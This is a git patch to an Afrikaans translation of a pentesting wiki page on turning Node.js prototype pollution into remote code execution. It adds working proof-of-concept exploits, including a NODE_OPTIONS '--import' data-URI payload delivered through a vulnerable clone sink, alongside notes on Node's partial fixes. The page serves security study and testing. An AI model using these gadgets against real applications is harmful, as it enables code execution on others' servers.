From 25d03654d0b3d750bcb1d3e851444420d838dd4e Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 4 Aug 2025 14:17:50 +0000 Subject: [PATCH] Translated ['src/pentesting-web/deserialization/nodejs-proto-prototype-p --- .../prototype-pollution-to-rce.md | 95 ++++++++++++++----- 1 file changed, 71 insertions(+), 24 deletions(-) diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md index 493de94a7..15354ad5f 100644 --- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md +++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md @@ -4,7 +4,7 @@ ## Kwetsbare Kode -Stel jou 'n werklike JS voor wat 'n kode soos die volgende gebruik: +Stel jou voor 'n werklike JS wat 'n kode soos die volgende gebruik: ```javascript const { execSync, fork } = require("child_process") @@ -41,7 +41,7 @@ var proc = fork("a_file.js") **PP2RCE** beteken **Prototype Pollution to RCE** (Remote Code Execution). -Volgens hierdie [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wanneer 'n **proses geproduseer** word met 'n metode van **`child_process`** (soos `fork` of `spawn` of ander) roep dit die metode `normalizeSpawnArguments` aan wat 'n **prototype pollution gadget is om nuwe env vars te skep**: +Volgens hierdie [**skrywe**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wanneer 'n **proses geopen** word met 'n metode van **`child_process`** (soos `fork` of `spawn` of ander) roep dit die metode `normalizeSpawnArguments` aan wat 'n **prototype pollution gadget is om nuwe env vars te skep**: ```javascript //See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686 @@ -61,15 +61,15 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution } } ``` -Kontroleer daardie kode, jy kan sien dit is moontlik om **`envPairs`** te **besmet** net deur die **attribuut `.env`** te **besmet**. +Kontroleer daardie kode, jy kan sien dit is moontlik om **`envPairs` te vergiftig** net deur die **attribut `.env` te besoedel.** -### **Besmetting van `__proto__`** +### **Vergiftiging van `__proto__`** > [!WARNING] -> Let daarop dat weens hoe die **`normalizeSpawnArguments`** funksie van die **`child_process`** biblioteek van node werk, wanneer iets geroep word om 'n **nuwe omgewing veranderlike** vir die proses in te stel, jy net moet **besmet enigiets**.\ -> Byvoorbeeld, as jy `__proto__.avar="valuevar"` doen, sal die proses met 'n var genaamd `avar` met waarde `valuevar` geskep word. +> Let daarop dat, as gevolg van hoe die **`normalizeSpawnArguments`** funksie van die **`child_process`** biblioteek van node werk, wanneer iets aangeroep word om **'n nuwe omgewing veranderlike** vir die proses in te stel, jy net iets moet **besoedel**.\ +> Byvoorbeeld, as jy `__proto__.avar="valuevar"` doen, sal die proses met 'n veranderlike genaamd `avar` met die waarde `valuevar` geskep word. > -> egter, om te verseker dat die **omgewing veranderlike die eerste een** is, moet jy die **`.env` attribuut** **besmet** en (slegs in sommige metodes) sal daardie var die **eerste een** wees (wat die aanval toelaat). +> egter, om te verseker dat die **omgewing veranderlike die eerste een** is, moet jy die **`.env` attribuut** **besoedel** en (slegs in sommige metodes) sal daardie veranderlike die **eerste een** wees (wat die aanval toelaat). > > Dit is waarom **`NODE_OPTIONS`** **nie binne `.env`** in die volgende aanval is. ```javascript @@ -122,7 +122,7 @@ var proc = fork("a_file.js") ``` ## PP2RCE via env vars + cmdline -'n Soortgelyke payload as die vorige een met 'n paar veranderinge is voorgestel in [**hierdie skrywe**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Die hoof verskille is: +'n Vergelykbare payload met die vorige een met 'n paar veranderinge is voorgestel in [**hierdie skrywe**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Die hoof verskille is: - In plaas daarvan om die nodejs **payload** binne die lêer `/proc/self/environ` te stoor, stoor dit dit **binne argv0** van **`/proc/self/cmdline`**. - Dan, in plaas daarvan om via **`NODE_OPTIONS`** die lêer `/proc/self/environ` te vereis, **vereis dit `/proc/self/cmdline`**. @@ -149,9 +149,50 @@ clone(USERINPUT) var proc = fork("a_file.js") // This should create the file /tmp/pp2rec ``` +## Filesystem-less PP2RCE via `--import` (Node ≥ 19) + +> [!NOTE] +> Sedert **Node.js 19** kan die CLI-vlag `--import` deur `NODE_OPTIONS` oorgedra word op dieselfde manier as wat `--require` kan. In teenstelling met `--require`, verstaan `--import` **data-URIs** sodat die aanvaller glad nie **skryfreëls toegang tot die lêerstelsel** nodig het nie. Dit maak die gadget baie meer betroubaar in geslote of slegs lees omgewings. +> +> Hierdie tegniek is eerste keer publiek gedokumenteer deur PortSwigger navorsing in Mei 2023 en is sedertdien in verskeie CTF-uitdagings herproduseer. + +Die aanval is konseptueel identies aan die `--require /proc/self/*` truuks hierbo, maar in plaas daarvan om na 'n lêer te verwys, inkorporeer ons die payload direk in 'n base64-gecodeerde `data:` URL: +```javascript +const { fork } = require("child_process") + +// Manual pollution +b = {} + +// Javascript that is executed once Node parses the import URL +const js = "require('child_process').execSync('touch /tmp/pp2rce_import')"; +const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`; + +b.__proto__.NODE_OPTIONS = `--import ${payload}`; +// any key that will force spawn (fork) – same as earlier examples +fork("./a_file.js"); +``` +Misbruik van die kwesbare merge/clone sink wat bo aan die bladsy getoon word: +```javascript +USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}'); +clone(USERINPUT); + +// Gadget trigger +fork("./a_file.js"); +// → creates /tmp/pp2rce_import +``` +### Hoekom `--import` help +1. **Geen skyf interaksie** – die payload beweeg heeltemal binne die proses opdraglyn en omgewing. +2. **Werk met ESM-slegs omgewings** – `--import` is die kanonieke manier om JavaScript in moderne Node weergawe te prelaai wat standaard op ECMAScript Modules is. +3. **Omseil sommige `--require` toelaat-lists** – 'n paar verhardingsbiblioteke filter net `--require`, wat `--import` onaangeraak laat. + +> [!WARNING] +> `--import` ondersteuning in `NODE_OPTIONS` is steeds teenwoordig in die nuutste **Node 22.2.0** (Junie 2025). Die Node-kernspan bespreek die beperking van data-URI's in die toekoms, maar geen versagting is beskikbaar ten tyde van skryf nie. + +--- + ## DNS Interaksie -Deur die volgende payloads te gebruik, is dit moontlik om die NODE_OPTIONS omgewing veranderlike wat ons voorheen bespreek het, te misbruik en te bepaal of dit gewerk het met 'n DNS-interaksie: +Deur die volgende payloads te gebruik, is dit moontlik om die NODE_OPTIONS omgewing veranderlike wat ons voorheen bespreek het, te misbruik en te bepaal of dit gewerk het met 'n DNS interaksie: ```json { "__proto__": { @@ -171,9 +212,9 @@ Of, om WAF's te vermy om vir die domein te vra: } } ``` -## PP2RCE kwesbaarheid child_process funksies +## PP2RCE kwesbaarheid kind_proses funksies -In hierdie afdeling gaan ons **elke funksie van `child_process`** analiseer om kode uit te voer en te kyk of ons enige tegniek kan gebruik om daardie funksie te dwing om kode uit te voer: +In hierdie afdeling gaan ons **elke funksie van `kind_proses`** analiseer om kode uit te voer en te kyk of ons enige tegniek kan gebruik om daardie funksie te dwing om kode uit te voer:
@@ -227,10 +268,10 @@ var proc = execFile("/usr/bin/node") // Windows - not working ``` -Vir **`execFile`** om te werk, moet dit **node** uitvoer sodat die NODE_OPTIONS kan werk.\ +Vir **`execFile`** om te werk, moet dit **node** uitvoer vir die NODE_OPTIONS om te werk.\ As dit **nie** **node** uitvoer nie, moet jy uitvind hoe jy die **uitvoering** van wat ook al uitgevoer word **met omgewing veranderlikes** kan **verander** en dit stel. -Die **ander** tegnieke **werk** sonder hierdie vereiste omdat dit **moontlik is om** **wat uitgevoer word** via prototype besoedeling te **wysig**. (In hierdie geval, selfs al kan jy `.shell` besoedel, sal jy nie besoedel wat uitgevoer word nie). +Die **ander** tegnieke **werk** sonder hierdie vereiste omdat dit **moontlik is om** **wat uitgevoer word** via prototype besoedeling te **verander**. (In hierdie geval, selfs al kan jy `.shell` besoedel, sal jy nie besoedel wat uitgevoer word nie).
@@ -468,7 +509,7 @@ In die vorige voorbeelde het jy gesien hoe om die gadget te aktiveer 'n funksion ### Beheer oor 'n vereiste lêer pad In hierdie [**ander skrywe**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) kan die gebruiker die lêer pad beheer waar 'n **`require`** uitgevoer sal word. In daardie scenario hoef die aanvaller net 'n **`.js` lêer binne die stelsel** te **vind wat 'n spawn metode sal uitvoer wanneer dit ingevoer word.**\ -Sommige voorbeelde van algemene lêers wat 'n spawn funksie aanroep wanneer dit ingevoer word, is: +Sommige voorbeelde van algemene lêers wat 'n spawn funksie aanroep wanneer ingevoer, is: - /path/to/npm/scripts/changelog.js - /opt/yarn-v1.22.19/preinstall.js @@ -502,18 +543,18 @@ done > [!WARNING] > Die **vorige tegniek vereis** dat die **gebruiker die pad van die lêer** wat gaan **vereis** word, **beheer**. Maar dit is nie altyd waar nie. -As die kode egter 'n vereiste gaan uitvoer na die prototipe besoedeling, selfs al **beheer jy nie die pad** wat gaan vereis word nie, kan jy **'n ander een afdwing deur prototipe besoedeling te misbruik**. So selfs al is die kode lyn soos `require("./a_file.js")` of `require("bytes")`, sal dit die **pakket wat jy besoedel het vereis**. +As die kode egter 'n vereiste gaan uitvoer na die prototipe besoedeling, selfs al **beheer jy nie die pad** wat gaan vereis word nie, kan jy **'n ander een afdwing deur prototipe besoedeling te misbruik**. So selfs al is die kode lyn soos `require("./a_file.js")` of `require("bytes")`, sal dit die **pakket vereis wat jy besoedel het**. Daarom, as 'n vereiste uitgevoer word na jou prototipe besoedeling en geen spawn funksie nie, is dit die aanval: - Vind 'n **`.js` lêer binne die stelsel** wat wanneer **vereis** sal **iets uitvoer met `child_process`** - As jy lêers na die platform wat jy aanval kan oplaai, kan jy 'n lêer soos dit oplaai -- Besoedel die pades om die **vereiste laai van die `.js` lêer** wat iets met child_process sal uitvoer, te afdwing -- **Besoedel die environ/cmdline** om arbitrêre kode uit te voer wanneer 'n child_process uitvoeringsfunksie aangeroep word (sien die aanvanklike tegnieke) +- Besoedel die pades om die **vereiste laai van die `.js` lêer** wat iets met child_process sal uitvoer, af te dwing +- **Besoedel die omgewing/cmdline** om arbitrêre kode uit te voer wanneer 'n child_process uitvoeringsfunksie genoem word (sien die aanvanklike tegnieke) #### Absolute vereiste -As die uitgevoerde vereiste **absoluut** is (`require("bytes")`) en die **pakket bevat nie hoof** in die `package.json` lêer nie, kan jy die **`main` attribuut besoedel** en die **vereiste 'n ander lêer laat uitvoer**. +As die uitgevoerde vereiste **absoluut** is (`require("bytes")`) en die **pakket bevat nie 'n hoof** in die `package.json` lêer nie, kan jy die **`main` attribuut besoedel** en die **vereiste 'n ander lêer laat uitvoer**. {{#tabs}} {{#tab name="exploit"}} @@ -598,7 +639,7 @@ fork("/path/to/anything") #### Relatiewe vereiste - 2 {{#tabs}} -{{#tab name="ontgin"}} +{{#tab name="exploit"}} ```javascript // Create a file called malicious.js in /tmp // Contents of malicious.js in the other tab @@ -661,16 +702,20 @@ require("./usage.js") ## VM Gadgets In die papier [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) word ook aangedui dat die beheer van **`contextExtensions`** van sommige metodes van die **`vm`** biblioteek as 'n gadget gebruik kan word.\ -E however, soos die vorige **`child_process`** metodes, is dit in die nuutste weergawes **reggestel**. +Echter, soos die vorige **`child_process`** metodes, is dit in die nuutste weergawes **reggestel**. ## Fixes & Unexpected protections -Let asseblief daarop dat prototype besoedeling werk as die **attribuut** van 'n objek wat toeganklik is **onbepaald** is. As in die **kode** daardie **attribuut** 'n **waarde** **gestel** is, sal jy **nie in staat wees om dit te oorskry** nie. +Let asseblief daarop dat prototipe besoedeling werk as die **attribuut** van 'n objek wat toeganklik is **onbepaald** is. As in die **kode** daardie **attribuut** 'n **waarde** **gestel** is, sal jy **nie in staat wees om dit te oorskry** nie. -In Junie 2022 van [**hierdie verbintenis**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) is die var `options` in plaas van 'n `{}` 'n **`kEmptyObject`**. Wat **voorkom dat 'n prototype besoedeling** die **attribuut** van **`options`** beïnvloed om RCE te verkry.\ -Ten minste vanaf v18.4.0 is hierdie beskerming **geïmplementeer,** en daarom werk die `spawn` en `spawnSync` **uitbuitings** wat die metodes beïnvloed **nie meer nie** (as daar geen `options` gebruik word nie!). +In Junie 2022 van [**hierdie verbintenis**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) is die var `options` in plaas van 'n `{}` 'n **`kEmptyObject`**. Dit **verhoed dat 'n prototipe besoedeling** die **attribuut** van **`options`** beïnvloed om RCE te verkry.\ +Ten minste vanaf v18.4.0 is hierdie beskerming **geïmplementeer,** en daarom werk die `spawn` en `spawnSync` **eksploite** wat die metodes beïnvloed **nie meer nie** (as daar geen `options` gebruik word nie!). -In [**hierdie verbintenis**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) is die **prototype besoedeling** van **`contextExtensions`** van die vm biblioteek **ook soort van reggestel** deur opsies in te stel na **`kEmptyObject`** in plaas van **`{}`.** +In [**hierdie verbintenis**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) is die **prototipe besoedeling** van **`contextExtensions`** van die vm biblioteek **ook soort van reggestel** deur opsies in te stel na **`kEmptyObject`** in plaas van **`{}`.** + +> [!INFO] +> **Node 20 (April 2023) & Node 22 (April 2025)** het verdere versterking gebring: verskeie `child_process` helpers kopieer nou gebruiker-gelewerde `options` met **`CopyOptions()`** in plaas van om dit deur verwysing te gebruik. Dit blokkeer besoedeling van geneste objek soos `stdio`, maar **beskerm nie teen die `NODE_OPTIONS` / `--import` truuks** wat hierbo beskryf is nie – daardie vlae word steeds aanvaar via omgewing veranderlikes. +> 'n Volledige regstelling sou moet beperk watter CLI vlae van die ouer proses gepropageer kan word, wat in Node Issue #50559 gevolg word. ### **Other Gadgets** @@ -682,6 +727,8 @@ In [**hierdie verbintenis**](https://github.com/nodejs/node/commit/0313102aaabb4 - [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) - [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/) - [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) +- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem) +- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression) - [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution) {{#include ../../../banners/hacktricks-training.md}}